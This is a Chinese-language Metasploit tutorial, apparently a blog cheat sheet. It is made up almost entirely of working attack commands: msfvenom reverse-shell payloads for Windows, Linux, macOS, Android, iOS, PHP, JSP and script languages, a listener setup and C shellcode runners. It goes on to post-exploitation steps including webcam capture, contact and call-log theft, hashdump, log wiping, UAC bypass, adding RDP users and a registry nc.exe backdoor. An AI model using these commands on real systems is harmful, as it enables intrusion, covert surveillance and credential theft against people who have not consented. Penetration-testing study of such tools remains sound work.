Metasploit 是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,同時該工具也是滲透測試環境中的利器,它支持多平台Payload的生成具有完全的跨平台性,本次實驗將學會生成各種攻擊載荷。
快速安裝Metasploit linux系統下只需要執行下面的三條命令既可以自動安裝,不過國內網速你懂的.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
> msfinstall && chmod 755 msfinstall && ./msfinstall
關於Msfvenom命令常用參數解釋
[root@localhost ~]# msfvenom --help
-p, --payload <payload> 指定需要使用的payload(攻擊荷載)
-l, --list [module_type] 列出指定模塊的所有可用資源.
-n, --nopsled <length> 為payload預先指定一個NOP滑動長度
-f, --format <format> 指定輸出格式
-e, --encoder [encoder] 指定需要使用的encoder編碼器
-a, --arch <architecture> 指定payload的目標架構
--platform <platform> 指定payload的目標平台
-s, --space <length> 設定有效攻擊荷載的最大長度
-b, --bad-chars <list> 設定規避字符集
-i, --iterations <count> 指定payload的編碼次數
--shellest 最小化生成payload
Windows ShellCode
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c
Windows EXE Or DLL
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe
[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -b'\x0\x0b' \
lhost=192.168.1.20 lport=9999 -f dll > payload.dll
Linux ShellCode
[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f c
Linux ELF Or ELF-SO
[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf
[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf
[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf-so -o payload.so
Mac OS X ShellCode
[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c
Mac OS X Macho
[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.macho
[root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.macho
Android Or Iphone App
[root@localhost ~]# msfvenom --platform android -p android/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.apk
[root@localhost ~]# msfvenom --platform apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.ios
PHP Or ASP Or JSP
[root@localhost ~]# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.20 lport=9999 -f raw > shell.php
[root@localhost ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f aspx -o payload.aspx
[root@localhost ~]# msfvenom --platform java -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.jsp
[root@localhost ~]# msfvenom -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.war
BASH Or PowerShell
[root@localhost ~]# msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.20 LPORT=9999 > -f raw > payload.sh
[root@localhost ~]# exec 5<>/dev/tcp/192.168.1.20/9999
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.20 lport=9999 -f psh-cmd > payload.ps1
Python Or Ruby Or NodeJS
[root@localhost ~]# msfvenom -p python/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.py
[root@localhost ~]# msfvenom -p ruby/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.rb
[root@localhost ~]# msfvenom -p cmd/unix/reverse_lua \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.lua
[root@localhost ~]# msfvenom -p nodejs/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.js
[root@localhost ~]# msfvenom -p cmd/unix/reverse_perl \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.pl
服務端配置后門回彈會話(通用)
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.20
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z
Windows: 附上ShellCode有效性測試框架
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
typedef void(__stdcall *CODE) ();
int main()
{
//((void(*)(void))&buf)();
PVOID pFunction = NULL;
pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pFunction, buf, sizeof(buf));
CODE StartShell = (CODE)pFunction;
StartShell();
}
Linux: 附上ShellCode有效性測試框架
#include <stdlib.h>
const unsigned char shellcode[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9";
int main(int argc, char **argv) {
int (*ret)();
ret = (int(*)())shellcode;
(int)(*ret)();
exit(0);
}
#include <stdio.h>
#include <string.h>
char *shellcode = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
后滲透基礎命令
msf5 exploit(multi/handler) > sessions # 查詢當前會話
msf5 exploit(multi/handler) > sessions -i 1 # 通過ID號進入指定會話
msf5 exploit(multi/handler) > sessions -k 1 # 通過ID號殺死一個會話
msf5 exploit(multi/handler) > background # 將會話放入后台
msf5 exploit(multi/handler) > getuid/getpid # 查詢用戶權限與PID
msf5 exploit(multi/handler) > sysinfo # 查看目標系統信息
msf5 exploit(multi/handler) > ps # 查目標主機進程
msf5 exploit(multi/handler) > kill PID # 殺死目標制定進程
msf5 exploit(multi/handler) > getsystem # 嘗試令牌提權
msf5 exploit(multi/handler) > shell # 進入目標shell環境
msf5 exploit(multi/handler) > enumdesktops # 查看可用的桌面
msf5 exploit(multi/handler) > getdesktop # 獲取當前meterpreter關聯的桌面
msf5 exploit(multi/handler) > set_desktop # 設置meterpreter關聯的桌面
msf5 exploit(multi/handler) > screenshot # 截屏
msf5 exploit(multi/handler) > run vnc # 使用vnc遠程桌面連接
msf5 exploit(multi/handler) > uictl disable mouse # 禁用目標鼠標
msf5 exploit(multi/handler) > uictl enable keyboard # 開啟目標鍵盤
msf5 exploit(multi/handler) > webcam_list # 查看目標主機攝像頭
msf5 exploit(multi/handler) > webcam_snap # 攝像頭拍裸照
msf5 exploit(multi/handler) > webcam_stream # 開啟目標主機攝像頭
msf5 exploit(multi/handler) > clearav # 銷毀日志文件
msf5 exploit(multi/handler) > webcam_stream -i 1/2 #打開前置或后置攝像頭
msf5 exploit(multi/handler) > check_root #檢測root
msf5 exploit(multi/handler) > dump_calllog #下載電話記錄
msf5 exploit(multi/handler) > dump_contacts #下載信息記錄
msf5 exploit(multi/handler) > geolocate #定位,需要下載谷歌地圖
Migrate進程遷移
msf5 exploit(multi/handler) > execute # 在目標機器中執行文件
msf5 exploit(multi/handler) > execute -H -i -f cmd.exe # 創建新進程cmd.exe -H不可見-i交互
msf5 exploit(multi/handler) > getpid
msf5 exploit(multi/handler) > ps
msf5 exploit(multi/handler) > migrate PID # 通過PID號遷移進程
文件查閱與遠程傳輸
msf5 exploit(multi/handler) > getwd # 查看當前工作目錄
msf5 exploit(multi/handler) > search -f *filename* # 搜索文件
msf5 exploit(multi/handler) > cat c:\\lyshark.log # 查看文件內容
msf5 exploit(multi/handler) > upload /tmp/shell.exe C:\\shell.exe # 上傳文件到目標機
msf5 exploit(multi/handler) > download c:\\shell.exe /tmp/ # 下載文件到本機上
msf5 exploit(multi/handler) > edit c:\\lyshark.log # VIM編輯或創建文件
msf5 exploit(multi/handler) > rm C:\\lyshark.log # 刪除文件
msf5 exploit(multi/handler) > getlwd # 看肉雞當前目錄
msf5 exploit(multi/handler) > lcd /tmp # 切換目錄
網絡與端口轉發/端口掃描
msf5 exploit(multi/handler) > ifconfig # 查詢肉雞IP地址
msf5 exploit(multi/handler) > netstat -antp # 查詢目標網絡連接
msf5 exploit(multi/handler) > arp -a # 查詢目標ARP緩存
msf5 exploit(multi/handler) > getproxy # 查看目標代理信息
msf5 exploit(multi/handler) > route # 查看目標路由表
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 # 掃描192.168.1.0/24網段
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.100 PORTS=3389 # 檢測是否開啟3389端口
#-----------------------------------------------------------------------
# portfwd 端口轉發與端口關閉
portfwd add -l 9999 -p 3389 -r 127.0.0.1 # 將目標機3389端口轉發到本地9999
portfwd list # 查詢當前轉發列表
portfwd delete -l 9999 # 刪除本地主機的9999端口映射
#-----------------------------------------------------------------------
# autoroute 添加與刪除主機路由
run autoroute -p # 查詢添加的路由記錄
run autoroute -s 10.10.10.1 -n 255.255.255.0 # 在目標主機添加一條路由
run autoroute -d -s 10.10.10.1 # 刪除目標主機中的路由
run autoroute -s 10.10.10.1/24 # 添加一個路由網段
后滲透信息搜集模塊
#-----------------------------------------------------------------------
# Centos系統中這些模塊默認保存在以下目錄中
[root@localhost post]# cd /opt/metasploit-framework/embedded/framework/modules/post/
[root@localhost post]# ls
aix android apple_ios brocade cisco firefox hardware juniper linux multi osx solaris windows
# 以Windows系統中的搜集模塊為例,其默認存儲在以下路徑下.
[root@localhost gather]# pwd
/opt/metasploit-framework/embedded/framework/modules/post/windows/gather
#-----------------------------------------------------------------------
# 信息搜集模塊眾多,這里拿幾個常用模塊備注
meterpreter > info post/windows/gather/enum_files # 查詢模塊配置參數
meterpreter > run post/windows/gather/enum_files # 枚舉目標服務
meterpreter > run post/windows/gather/enum_services # 枚舉目標服務
meterpreter > run post/windows/gather/hashdump # 盜取Hash
meterpreter > run post/windows/gather/checkvm # 是否虛擬機
meterpreter > run post/windows/gather/forensics/enum_drives # 查看分區
meterpreter > run post/windows/gather/enum_applications # 獲取安裝軟件信息
meterpreter > run post/windows/gather/dumplinks # 獲取最近的文件操作
meterpreter > run post/windows/gather/enum_ie # 獲取IE緩存
meterpreter > run post/windows/gather/enum_chrome # 獲取Chrome緩存
meterpreter > run post/windows/gather/enum_patches # 補丁信息
meterpreter > run post/windows/gather/enum_domain # 查找域控
針對肉雞的提權操作
#-----------------------------------------------------------------------
# 使用bypassuac腳本嘗試提權
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run
#-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_patches # 收集目標主機補丁情況
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei # 尋找相符合的提權腳本,執行測試
msf > set SESSION 1
msf > exploit
添加系統用戶與開啟3389遠程
#-----------------------------------------------------------------------
# 添加系統用戶與開啟遠程桌面
meterpreter > run getgui -e # 開啟遠程桌面
meterpreter > run getgui -u lyshark -p 123123 # 添加用戶
meterpreter > run getgui -f 9999 -e # 3389端口轉發到9999
meterpreter > run post/windows/manage/enable_rdp # 開啟遠程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123 # 添加用戶
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999 # 將3389端口轉發到9999
注冊表操作與寫入后門
-d 注冊表中值的數據. -k 注冊表鍵路徑 -v 注冊表鍵名稱
enumkey 枚舉可獲得的鍵 setval 設置鍵值 queryval 查詢鍵值數據
#-----------------------------------------------------------------------
upload /root/nc.exe C:\\windows\\ # 上傳nc工具到根目錄
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe' # 加后門
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell # 查看鍵值
[root@localhost ~]# nc -v 192.168.1.20 666 # 攻擊者連接后門
目標網卡抓包
msf > use sniffer
msf > sniffer_interfaces # 查看網卡
msf > sniffer_start 1 # 選擇網卡開始抓包
msf > sniffer_stats 1 # 查看狀態
msf > sniffer_dump 1 /tmp/ltest.pcap #導出pcap數據包
msf > sniffer_stop 1 # 停止抓包